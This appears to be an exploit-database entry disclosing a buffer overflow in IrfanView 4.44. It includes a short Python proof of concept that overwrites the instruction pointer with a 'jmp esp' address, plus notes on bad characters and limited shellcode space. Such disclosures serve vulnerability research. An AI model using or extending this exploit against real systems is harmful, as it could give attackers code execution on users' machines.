IrfanView 4.44 Denial Of Service

IrfanView version 4.44 suffers from an overflow vulnerability.


MD5 | 24111c1a84f0548efeb3626dc4e44716

# Exploit Title: Irfanview - OtherExtensions Input Overflow
# Date: 29-04-2017
# Software Link: http://download.cnet.com/IrfanView/?part=dl-&subj=dl&tag=button
# Exploit Author: Dreivan Orprecio
#Version: Irfanview 4.44
#Irfanview is vulnerable to overflow in "OtherExtensions" input field
#Debugging Machine: WinXP Pro SP3 (32bit)


#POC

#!usr/bin/python


eip = "\xf7\x56\x44\x7e" #jmp esp from user32.dll



buffer = "OtherExtensions="+"A" * 199 + eip + "\xcc"

print buffer #a) irfanview->Option->Properties/Settings->Extensions
#b) Paste the buffer in the "other" input then press ok, repeat a) and b)





#badcharacters: those instruction that start with 6,7,8,E,F
#Only 43 bytes space to host a shellcode and lots of badchars make it hard for this to exploit
#Any other way around this?


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